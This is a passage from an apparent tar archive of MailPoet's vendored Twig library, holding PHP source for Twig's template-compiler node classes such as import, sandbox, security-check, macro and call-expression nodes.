 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; class ImportNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $var, int $lineno, string $tag = null, bool $global = \true) { parent::__construct(['expr' => $expr, 'var' => $var], ['global' => $global], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write('$macros[')->repr($this->getNode('var')->getAttribute('name'))->raw('] = '); if ($this->getAttribute('global')) { $compiler->raw('$this->macros[')->repr($this->getNode('var')->getAttribute('name'))->raw('] = '); } if ($this->getNode('expr') instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && '_self' === $this->getNode('expr')->getAttribute('name')) { $compiler->raw('$this'); } else { $compiler->raw('$this->loadTemplate(')->subcompile($this->getNode('expr'))->raw(', ')->repr($this->getTemplateName())->raw(', ')->repr($this->getTemplateLine())->raw(')->unwrap()'); } $compiler->raw(";\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\ImportNode', 'MailPoetVendor\\Twig_Node_Import'); twig/src/Node/index.php000066600000000000150351206230011001 0ustar00twig/src/Node/SandboxNode.php000066600000001504150351206230012110 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class SandboxNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Node $body, int $lineno, string $tag = null) { parent::__construct(['body' => $body], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write("if (!\$alreadySandboxed = \$this->sandbox->isSandboxed()) {\n")->indent()->write("\$this->sandbox->enableSandbox();\n")->outdent()->write("}\n")->subcompile($this->getNode('body'))->write("if (!\$alreadySandboxed) {\n")->indent()->write("\$this->sandbox->disableSandbox();\n")->outdent()->write("}\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\SandboxNode', 'MailPoetVendor\\Twig_Node_Sandbox'); twig/src/Node/CheckSecurityNode.php000066600000004512150351206230013261 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class CheckSecurityNode extends \MailPoetVendor\Twig\Node\Node { private $usedFilters; private $usedTags; private $usedFunctions; public function __construct(array $usedFilters, array $usedTags, array $usedFunctions) { $this->usedFilters = $usedFilters; $this->usedTags = $usedTags; $this->usedFunctions = $usedFunctions; parent::__construct(); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $tags = $filters = $functions = []; foreach (['tags', 'filters', 'functions'] as $type) { foreach ($this->{'used' . \ucfirst($type)} as $name => $node) { if ($node instanceof \MailPoetVendor\Twig\Node\Node) { ${$type}[$name] = $node->getTemplateLine(); } else { ${$type}[$node] = null; } } } $compiler->write("\$this->sandbox = \$this->env->getExtension('\\MailPoetVendor\\Twig\\Extension\\SandboxExtension');\n")->write('$tags = ')->repr(\array_filter($tags))->raw(";\n")->write('$filters = ')->repr(\array_filter($filters))->raw(";\n")->write('$functions = ')->repr(\array_filter($functions))->raw(";\n\n")->write("try {\n")->indent()->write("\$this->sandbox->checkSecurity(\n")->indent()->write(!$tags ? "[],\n" : "['" . \implode("', '", \array_keys($tags)) . "'],\n")->write(!$filters ? "[],\n" : "['" . \implode("', '", \array_keys($filters)) . "'],\n")->write(!$functions ? "[]\n" : "['" . \implode("', '", \array_keys($functions)) . "']\n")->outdent()->write(");\n")->outdent()->write("} catch (SecurityError \$e) {\n")->indent()->write("\$e->setSourceContext(\$this->source);\n\n")->write("if (\$e instanceof SecurityNotAllowedTagError && isset(\$tags[\$e->getTagName()])) {\n")->indent()->write("\$e->setTemplateLine(\$tags[\$e->getTagName()]);\n")->outdent()->write("} elseif (\$e instanceof SecurityNotAllowedFilterError && isset(\$filters[\$e->getFilterName()])) {\n")->indent()->write("\$e->setTemplateLine(\$filters[\$e->getFilterName()]);\n")->outdent()->write("} elseif (\$e instanceof SecurityNotAllowedFunctionError && isset(\$functions[\$e->getFunctionName()])) {\n")->indent()->write("\$e->setTemplateLine(\$functions[\$e->getFunctionName()]);\n")->outdent()->write("}\n\n")->write("throw \$e;\n")->outdent()->write("}\n\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\CheckSecurityNode', 'MailPoetVendor\\Twig_Node_CheckSecurity'); twig/src/Node/CheckToStringNode.php000066600000001264150351206230013224 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; class CheckToStringNode extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr) { parent::__construct(['expr' => $expr], [], $expr->getTemplateLine(), $expr->getNodeTag()); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $expr = $this->getNode('expr'); $compiler->raw('$this->sandbox->ensureToStringAllowed(')->subcompile($expr)->raw(', ')->repr($expr->getTemplateLine())->raw(', $this->source)'); } } twig/src/Node/MacroNode.php000066600000004474150351206230011564 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Error\SyntaxError; class MacroNode extends \MailPoetVendor\Twig\Node\Node { const VARARGS_NAME = 'varargs'; public function __construct(string $name, \MailPoetVendor\Twig\Node\Node $body, \MailPoetVendor\Twig\Node\Node $arguments, int $lineno, string $tag = null) { foreach ($arguments as $argumentName => $argument) { if (self::VARARGS_NAME === $argumentName) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('The argument "%s" in macro "%s" cannot be defined because the variable "%s" is reserved for arbitrary arguments.', self::VARARGS_NAME, $name, self::VARARGS_NAME), $argument->getTemplateLine(), $argument->getSourceContext()); } } parent::__construct(['body' => $body, 'arguments' => $arguments], ['name' => $name], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write(\sprintf('public function macro_%s(', $this->getAttribute('name'))); $count = \count($this->getNode('arguments')); $pos = 0; foreach ($this->getNode('arguments') as $name => $default) { $compiler->raw('$__' . $name . '__ = ')->subcompile($default); if (++$pos < $count) { $compiler->raw(', '); } } if ($count) { $compiler->raw(', '); } $compiler->raw('...$__varargs__')->raw(")\n")->write("{\n")->indent()->write("\$macros = \$this->macros;\n")->write("\$context = \$this->env->mergeGlobals([\n")->indent(); foreach ($this->getNode('arguments') as $name => $default) { $compiler->write('')->string($name)->raw(' => $__' . $name . '__')->raw(",\n"); } $compiler->write('')->string(self::VARARGS_NAME)->raw(' => '); $compiler->raw("\$__varargs__,\n")->outdent()->write("]);\n\n")->write("\$blocks = [];\n\n"); if ($compiler->getEnvironment()->isDebug()) { $compiler->write("ob_start();\n"); } else { $compiler->write("ob_start(function () { return ''; });\n"); } $compiler->write("try {\n")->indent()->subcompile($this->getNode('body'))->raw("\n")->write("return ('' === \$tmp = ob_get_contents()) ? '' : new Markup(\$tmp, \$this->env->getCharset());\n")->outdent()->write("} finally {\n")->indent()->write("ob_end_clean();\n")->outdent()->write("}\n")->outdent()->write("}\n\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\MacroNode', 'MailPoetVendor\\Twig_Node_Macro'); twig/src/Node/AutoEscapeNode.php000066600000001107150351206230012542 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class AutoEscapeNode extends \MailPoetVendor\Twig\Node\Node { public function __construct($value, \MailPoetVendor\Twig\Node\Node $body, int $lineno, string $tag = 'autoescape') { parent::__construct(['body' => $body], ['value' => $value], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->subcompile($this->getNode('body')); } } \class_alias('MailPoetVendor\\Twig\\Node\\AutoEscapeNode', 'MailPoetVendor\\Twig_Node_AutoEscape'); twig/src/Node/BlockReferenceNode.php000066600000001250150351206230013361 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class BlockReferenceNode extends \MailPoetVendor\Twig\Node\Node implements \MailPoetVendor\Twig\Node\NodeOutputInterface { public function __construct(string $name, int $lineno, string $tag = null) { parent::__construct([], ['name' => $name], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write(\sprintf("\$this->displayBlock('%s', \$context, \$blocks);\n", $this->getAttribute('name'))); } } \class_alias('MailPoetVendor\\Twig\\Node\\BlockReferenceNode', 'MailPoetVendor\\Twig_Node_BlockReference'); twig/src/Node/Expression/Test/SameasTest.php000066600000001116150351206230015032 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class SameasTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(')->subcompile($this->getNode('node'))->raw(' === ')->subcompile($this->getNode('arguments')->getNode(0))->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\SameasTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Sameas'); twig/src/Node/Expression/Test/DivisiblebyTest.php000066600000001140150351206230016063 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class DivisiblebyTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(0 == ')->subcompile($this->getNode('node'))->raw(' % ')->subcompile($this->getNode('arguments')->getNode(0))->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\DivisiblebyTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Divisibleby'); twig/src/Node/Expression/Test/NullTest.php000066600000001016150351206230014532 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class NullTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(null === ')->subcompile($this->getNode('node'))->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\NullTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Null'); twig/src/Node/Expression/Test/ConstantTest.php000066600000001375150351206230015421 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class ConstantTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(')->subcompile($this->getNode('node'))->raw(' === constant('); if ($this->getNode('arguments')->hasNode(1)) { $compiler->raw('get_class(')->subcompile($this->getNode('arguments')->getNode(1))->raw(')."::".'); } $compiler->subcompile($this->getNode('arguments')->getNode(0))->raw('))'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\ConstantTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Constant'); twig/src/Node/Expression/Test/OddTest.php000066600000001024150351206230014325 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class OddTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(')->subcompile($this->getNode('node'))->raw(' % 2 == 1')->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\OddTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Odd'); twig/src/Node/Expression/Test/index.php000066600000000000150351206230014057 0ustar00twig/src/Node/Expression/Test/EvenTest.php000066600000001027150351206230014517 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class EvenTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(')->subcompile($this->getNode('node'))->raw(' % 2 == 0')->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\EvenTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Even'); twig/src/Node/Expression/Test/DefinedTest.php000066600000005211150351206230015157 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\Expression\ArrayExpression; use MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\FunctionExpression; use MailPoetVendor\Twig\Node\Expression\GetAttrExpression; use MailPoetVendor\Twig\Node\Expression\MethodCallExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Node\Expression\TestExpression; use MailPoetVendor\Twig\Node\Node; class DefinedTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $node, string $name, \MailPoetVendor\Twig\Node\Node $arguments = null, int $lineno) { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression) { $node->setAttribute('is_defined_test', \true); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression) { $node->setAttribute('is_defined_test', \true); $this->changeIgnoreStrictCheck($node); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression) { $node->setAttribute('is_defined_test', \true); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\FunctionExpression && 'constant' === $node->getAttribute('name')) { $node->setAttribute('is_defined_test', \true); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression || $node instanceof \MailPoetVendor\Twig\Node\Expression\ArrayExpression) { $node = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(\true, $node->getTemplateLine()); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\MethodCallExpression) { $node->setAttribute('is_defined_test', \true); } else { throw new \MailPoetVendor\Twig\Error\SyntaxError('The "defined" test only works with simple variables.', $lineno); } parent::__construct($node, $name, $arguments, $lineno); } private function changeIgnoreStrictCheck(\MailPoetVendor\Twig\Node\Expression\GetAttrExpression $node) { $node->setAttribute('optimizable', \false); $node->setAttribute('ignore_strict_check', \true); if ($node->getNode('node') instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression) { $this->changeIgnoreStrictCheck($node->getNode('node')); } } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->subcompile($this->getNode('node')); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\DefinedTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Defined'); twig/src/Node/Expression/ArrayExpression.php000066600000003432150351206230015203 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class ArrayExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { private $index; public function __construct(array $elements, int $lineno) { parent::__construct($elements, [], $lineno); $this->index = -1; foreach ($this->getKeyValuePairs() as $pair) { if ($pair['key'] instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression && \ctype_digit((string) $pair['key']->getAttribute('value')) && $pair['key']->getAttribute('value') > $this->index) { $this->index = $pair['key']->getAttribute('value'); } } } public function getKeyValuePairs() { $pairs = []; foreach (\array_chunk($this->nodes, 2) as $pair) { $pairs[] = ['key' => $pair[0], 'value' => $pair[1]]; } return $pairs; } public function hasElement(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $key) { foreach ($this->getKeyValuePairs() as $pair) { if ((string) $key === (string) $pair['key']) { return \true; } } return \false; } public function addElement(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $value, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $key = null) { if (null === $key) { $key = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(++$this->index, $value->getTemplateLine()); } \array_push($this->nodes, $key, $value); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('['); $first = \true; foreach ($this->getKeyValuePairs() as $pair) { if (!$first) { $compiler->raw(', '); } $first = \false; $compiler->subcompile($pair['key'])->raw(' => ')->subcompile($pair['value']); } $compiler->raw(']'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\ArrayExpression', 'MailPoetVendor\\Twig_Node_Expression_Array'); twig/src/Node/Expression/index.php000066600000000000150351206230013140 0ustar00twig/src/Node/Expression/NullCoalesceExpression.php000066600000003312150351206230016473 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\Binary\AndBinary; use MailPoetVendor\Twig\Node\Expression\Test\DefinedTest; use MailPoetVendor\Twig\Node\Expression\Test\NullTest; use MailPoetVendor\Twig\Node\Expression\Unary\NotUnary; use MailPoetVendor\Twig\Node\Node; class NullCoalesceExpression extends \MailPoetVendor\Twig\Node\Expression\ConditionalExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $left, \MailPoetVendor\Twig\Node\Node $right, int $lineno) { $test = new \MailPoetVendor\Twig\Node\Expression\Test\DefinedTest(clone $left, 'defined', new \MailPoetVendor\Twig\Node\Node(), $left->getTemplateLine()); if (!$left instanceof \MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression) { $test = new \MailPoetVendor\Twig\Node\Expression\Binary\AndBinary($test, new \MailPoetVendor\Twig\Node\Expression\Unary\NotUnary(new \MailPoetVendor\Twig\Node\Expression\Test\NullTest($left, 'null', new \MailPoetVendor\Twig\Node\Node(), $left->getTemplateLine()), $left->getTemplateLine()), $left->getTemplateLine()); } parent::__construct($test, $left, $right, $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { if ($this->getNode('expr2') instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression) { $this->getNode('expr2')->setAttribute('always_defined', \true); $compiler->raw('((')->subcompile($this->getNode('expr2'))->raw(') ?? (')->subcompile($this->getNode('expr3'))->raw('))'); } else { parent::compile($compiler); } } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\NullCoalesceExpression', 'MailPoetVendor\\Twig_Node_Expression_NullCoalesce'); twig/src/Node/Expression/TestExpression.php000066600000002077150351206230015050 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; class TestExpression extends \MailPoetVendor\Twig\Node\Expression\CallExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $node, string $name, \MailPoetVendor\Twig\Node\Node $arguments = null, int $lineno) { $nodes = ['node' => $node]; if (null !== $arguments) { $nodes['arguments'] = $arguments; } parent::__construct($nodes, ['name' => $name], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $name = $this->getAttribute('name'); $test = $compiler->getEnvironment()->getTest($name); $this->setAttribute('name', $name); $this->setAttribute('type', 'test'); $this->setAttribute('arguments', $test->getArguments()); $this->setAttribute('callable', $test->getCallable()); $this->setAttribute('is_variadic', $test->isVariadic()); $this->compileCallable($compiler); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\TestExpression', 'MailPoetVendor\\Twig_Node_Expression_Test'); twig/src/Node/Expression/CallExpression.php000066600000022302150351206230014775 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Extension\ExtensionInterface; use MailPoetVendor\Twig\Node\Node; abstract class CallExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { private $reflector; protected function compileCallable(\MailPoetVendor\Twig\Compiler $compiler) { $callable = $this->getAttribute('callable'); $closingParenthesis = \false; $isArray = \false; if (\is_string($callable) && \false === \strpos($callable, '::')) { $compiler->raw($callable); } else { list($r, $callable) = $this->reflectCallable($callable); if ($r instanceof \ReflectionMethod && \is_string($callable[0])) { if ($r->isStatic()) { $compiler->raw(\sprintf('%s::%s', $callable[0], $callable[1])); } else { $compiler->raw(\sprintf('$this->env->getRuntime(\'%s\')->%s', $callable[0], $callable[1])); } } elseif ($r instanceof \ReflectionMethod && $callable[0] instanceof \MailPoetVendor\Twig\Extension\ExtensionInterface) { $class = (new \ReflectionClass(\get_class($callable[0])))->name; if (!$compiler->getEnvironment()->hasExtension($class)) { $compiler->raw(\sprintf('$this->env->getExtension(\'%s\')', $class)); } else { $compiler->raw(\sprintf('$this->extensions[\'%s\']', \ltrim($class, '\\'))); } $compiler->raw(\sprintf('->%s', $callable[1])); } else { $closingParenthesis = \true; $isArray = \true; $compiler->raw(\sprintf('call_user_func_array($this->env->get%s(\'%s\')->getCallable(), ', \ucfirst($this->getAttribute('type')), $this->getAttribute('name'))); } } $this->compileArguments($compiler, $isArray); if ($closingParenthesis) { $compiler->raw(')'); } } protected function compileArguments(\MailPoetVendor\Twig\Compiler $compiler, $isArray = \false) { $compiler->raw($isArray ? '[' : '('); $first = \true; if ($this->hasAttribute('needs_environment') && $this->getAttribute('needs_environment')) { $compiler->raw('$this->env'); $first = \false; } if ($this->hasAttribute('needs_context') && $this->getAttribute('needs_context')) { if (!$first) { $compiler->raw(', '); } $compiler->raw('$context'); $first = \false; } if ($this->hasAttribute('arguments')) { foreach ($this->getAttribute('arguments') as $argument) { if (!$first) { $compiler->raw(', '); } $compiler->string($argument); $first = \false; } } if ($this->hasNode('node')) { if (!$first) { $compiler->raw(', '); } $compiler->subcompile($this->getNode('node')); $first = \false; } if ($this->hasNode('arguments')) { $callable = $this->getAttribute('callable'); $arguments = $this->getArguments($callable, $this->getNode('arguments')); foreach ($arguments as $node) { if (!$first) { $compiler->raw(', '); } $compiler->subcompile($node); $first = \false; } } $compiler->raw($isArray ? ']' : ')'); } protected function getArguments($callable = null, $arguments) { $callType = $this->getAttribute('type'); $callName = $this->getAttribute('name'); $parameters = []; $named = \false; foreach ($arguments as $name => $node) { if (!\is_int($name)) { $named = \true; $name = $this->normalizeName($name); } elseif ($named) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Positional arguments cannot be used after named arguments for %s "%s".', $callType, $callName), $this->getTemplateLine(), $this->getSourceContext()); } $parameters[$name] = $node; } $isVariadic = $this->hasAttribute('is_variadic') && $this->getAttribute('is_variadic'); if (!$named && !$isVariadic) { return $parameters; } if (!$callable) { if ($named) { $message = \sprintf('Named arguments are not supported for %s "%s".', $callType, $callName); } else { $message = \sprintf('Arbitrary positional arguments are not supported for %s "%s".', $callType, $callName); } throw new \LogicException($message); } list($callableParameters, $isPhpVariadic) = $this->getCallableParameters($callable, $isVariadic); $arguments = []; $names = []; $missingArguments = []; $optionalArguments = []; $pos = 0; foreach ($callableParameters as $callableParameter) { $names[] = $name = $this->normalizeName($callableParameter->name); if (\array_key_exists($name, $parameters)) { if (\array_key_exists($pos, $parameters)) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Argument "%s" is defined twice for %s "%s".', $name, $callType, $callName), $this->getTemplateLine(), $this->getSourceContext()); } if (\count($missingArguments)) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Argument "%s" could not be assigned for %s "%s(%s)" because it is mapped to an internal PHP function which cannot determine default value for optional argument%s "%s".', $name, $callType, $callName, \implode(', ', $names), \count($missingArguments) > 1 ? 's' : '', \implode('", "', $missingArguments)), $this->getTemplateLine(), $this->getSourceContext()); } $arguments = \array_merge($arguments, $optionalArguments); $arguments[] = $parameters[$name]; unset($parameters[$name]); $optionalArguments = []; } elseif (\array_key_exists($pos, $parameters)) { $arguments = \array_merge($arguments, $optionalArguments); $arguments[] = $parameters[$pos]; unset($parameters[$pos]); $optionalArguments = []; ++$pos; } elseif ($callableParameter->isDefaultValueAvailable()) { $optionalArguments[] = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($callableParameter->getDefaultValue(), -1); } elseif ($callableParameter->isOptional()) { if (empty($parameters)) { break; } else { $missingArguments[] = $name; } } else { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Value for argument "%s" is required for %s "%s".', $name, $callType, $callName), $this->getTemplateLine(), $this->getSourceContext()); } } if ($isVariadic) { $arbitraryArguments = $isPhpVariadic ? new \MailPoetVendor\Twig\Node\Expression\VariadicExpression([], -1) : new \MailPoetVendor\Twig\Node\Expression\ArrayExpression([], -1); foreach ($parameters as $key => $value) { if (\is_int($key)) { $arbitraryArguments->addElement($value); } else { $arbitraryArguments->addElement($value, new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($key, -1)); } unset($parameters[$key]); } if ($arbitraryArguments->count()) { $arguments = \array_merge($arguments, $optionalArguments); $arguments[] = $arbitraryArguments; } } if (!empty($parameters)) { $unknownParameter = null; foreach ($parameters as $parameter) { if ($parameter instanceof \MailPoetVendor\Twig\Node\Node) { $unknownParameter = $parameter; break; } } throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unknown argument%s "%s" for %s "%s(%s)".', \count($parameters) > 1 ? 's' : '', \implode('", "', \array_keys($parameters)), $callType, $callName, \implode(', ', $names)), $unknownParameter ? $unknownParameter->getTemplateLine() : $this->getTemplateLine(), $unknownParameter ? $unknownParameter->getSourceContext() : $this->getSourceContext()); } return $arguments; } protected function normalizeName($name) { return \strtolower(\preg_replace(['/([A-Z]+)([A-Z][a-z])/', '/([a-z\\d])([A-Z])/'], ['\\1_\\2', '\\1_\\2'], $name)); } private function getCallableParameters($callable, bool $isVariadic) : array { list($r) = $this->reflectCallable($callable); if (null === $r) { return [[], \false]; } $parameters = $r->getParameters(); if ($this->hasNode('node')) { \array_shift($parameters); } if ($this->hasAttribute('needs_environment') && $this->getAttribute('needs_environment')) { \array_shift($parameters); } if ($this->hasAttribute('needs_context') && $this->getAttribute('needs_context')) { \array_shift($parameters); } if ($this->hasAttribute('arguments') && null !== $this->getAttribute('arguments')) { foreach ($this->getAttribute('arguments') as $argument) { \array_shift($parameters); } } $isPhpVariadic = \false; if ($isVariadic) { $argument = \end($parameters); if ($argument && $argument->isArray() && $argument->isDefaultValueAvailable() && [] === $argument->getDefaultValue()) { \array_pop($parameters); } elseif ($argument && $argument->isVariadic()) { \array_pop($parameters); $isPhpVariadic = \true; } else { $callableName = $r->name; if ($r instanceof \ReflectionMethod) { $callableName = $r->getDeclaringClass()->name . '::' . $callableName; } throw new \LogicException(\sprintf('The last parameter of "%s" for %s "%s" must be an array with default value, eg. "array $arg = []".', $callableName, $this->getAttribute('type'), $this->getAttribute('name'))); } } return [$parameters, $isPhpVariadic]; } private function reflectCallable($callable) { if (null !== $this->reflector) { return $this->reflector; } if (\is_array($callable)) { if (!\method_exists($callable[0], $callable[1])) { return [null, []]; } $r = new \ReflectionMethod($callable[0], $callable[1]); } elseif (\is_object($callable) && !$callable instanceof \Closure) { $r = new \ReflectionObject($callable); $r = $r->getMethod('__invoke'); $callable = [$callable, '__invoke']; } elseif (\is_string($callable) && \false !== ($pos = \strpos($callable, '::'))) { $class = \substr($callable, 0, $pos); $method = \substr($callable, $pos + 2); if (!\method_exists($class, $method)) { return [null, []]; } $r = new \ReflectionMethod($callable); $callable = [$class, $method]; } else { $r = new \ReflectionFunction($callable); } return $this->reflector = [$r, $callable]; } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\CallExpression', 'MailPoetVendor\\Twig_Node_Expression_Call'); twig/src/Node/Expression/VariadicExpression.php000066600000000511150351206230015642 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class VariadicExpression extends \MailPoetVendor\Twig\Node\Expression\ArrayExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('...'); parent::compile($compiler); } } twig/src/Node/Expression/FilterExpression.php000066600000002412150351206230015347 0ustar00<?php
